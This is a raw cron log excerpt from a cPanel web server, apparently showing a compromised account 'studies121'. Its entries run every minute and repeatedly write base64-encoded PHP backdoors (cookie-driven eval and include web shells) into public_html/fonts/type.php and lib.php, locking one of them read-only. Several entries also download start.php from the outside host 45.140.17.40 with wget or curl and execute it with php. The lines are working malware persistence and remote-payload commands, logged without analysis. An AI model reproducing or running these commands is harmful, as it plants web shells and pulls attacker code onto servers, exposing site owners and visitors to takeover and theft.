Feb 23 00:10:01 ip-184-168-122-23 CROND[27854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:10:01 ip-184-168-122-23 CROND[27856]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 00:10:01 ip-184-168-122-23 CROND[27855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:10:01 ip-184-168-122-23 CROND[27859]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:11:01 ip-184-168-122-23 CROND[28190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:11:01 ip-184-168-122-23 CROND[28192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:11:01 ip-184-168-122-23 CROND[28193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:11:01 ip-184-168-122-23 CROND[28197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:12:01 ip-184-168-122-23 CROND[28503]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:12:01 ip-184-168-122-23 CROND[28504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:12:01 ip-184-168-122-23 CROND[28505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:12:01 ip-184-168-122-23 CROND[28507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:12:01 ip-184-168-122-23 CROND[28508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:13:01 ip-184-168-122-23 CROND[28890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:13:01 ip-184-168-122-23 CROND[28893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:13:01 ip-184-168-122-23 CROND[28895]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:13:01 ip-184-168-122-23 CROND[28896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:14:01 ip-184-168-122-23 CROND[29204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:14:01 ip-184-168-122-23 CROND[29207]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:14:01 ip-184-168-122-23 CROND[29206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:14:01 ip-184-168-122-23 CROND[29208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:14:01 ip-184-168-122-23 CROND[29210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:15:01 ip-184-168-122-23 CROND[29535]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:15:01 ip-184-168-122-23 CROND[29538]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Feb 23 00:15:01 ip-184-168-122-23 CROND[29537]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Feb 23 00:15:01 ip-184-168-122-23 CROND[29539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:15:01 ip-184-168-122-23 CROND[29544]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 00:15:01 ip-184-168-122-23 CROND[29545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:15:01 ip-184-168-122-23 CROND[29546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:15:01 ip-184-168-122-23 CROND[29547]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 00:16:01 ip-184-168-122-23 CROND[29914]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:16:01 ip-184-168-122-23 CROND[29918]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:16:01 ip-184-168-122-23 CROND[29916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:16:01 ip-184-168-122-23 CROND[29917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:16:01 ip-184-168-122-23 CROND[29919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:16:01 ip-184-168-122-23 CROND[29920]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 23 00:17:01 ip-184-168-122-23 CROND[30220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:17:01 ip-184-168-122-23 CROND[30221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:17:01 ip-184-168-122-23 CROND[30224]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:17:01 ip-184-168-122-23 CROND[30225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:18:01 ip-184-168-122-23 CROND[30616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:18:01 ip-184-168-122-23 CROND[30618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:18:01 ip-184-168-122-23 CROND[30619]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:18:01 ip-184-168-122-23 CROND[30621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:18:01 ip-184-168-122-23 CROND[30620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:19:01 ip-184-168-122-23 CROND[30934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:19:01 ip-184-168-122-23 CROND[30935]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:19:01 ip-184-168-122-23 CROND[30937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:19:01 ip-184-168-122-23 CROND[30938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:20:01 ip-184-168-122-23 CROND[31288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:20:01 ip-184-168-122-23 CROND[31290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:20:01 ip-184-168-122-23 CROND[31291]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:20:01 ip-184-168-122-23 CROND[31294]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 23 00:20:01 ip-184-168-122-23 CROND[31295]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:20:01 ip-184-168-122-23 CROND[31298]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 23 00:20:01 ip-184-168-122-23 CROND[31302]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 00:20:01 ip-184-168-122-23 CROND[31301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:20:01 ip-184-168-122-23 CROND[31299]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 00:21:01 ip-184-168-122-23 CROND[31657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:21:01 ip-184-168-122-23 CROND[31659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:21:01 ip-184-168-122-23 CROND[31660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:21:01 ip-184-168-122-23 CROND[31661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:22:01 ip-184-168-122-23 CROND[31956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:22:01 ip-184-168-122-23 CROND[31959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:22:01 ip-184-168-122-23 CROND[31961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:22:01 ip-184-168-122-23 CROND[31962]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
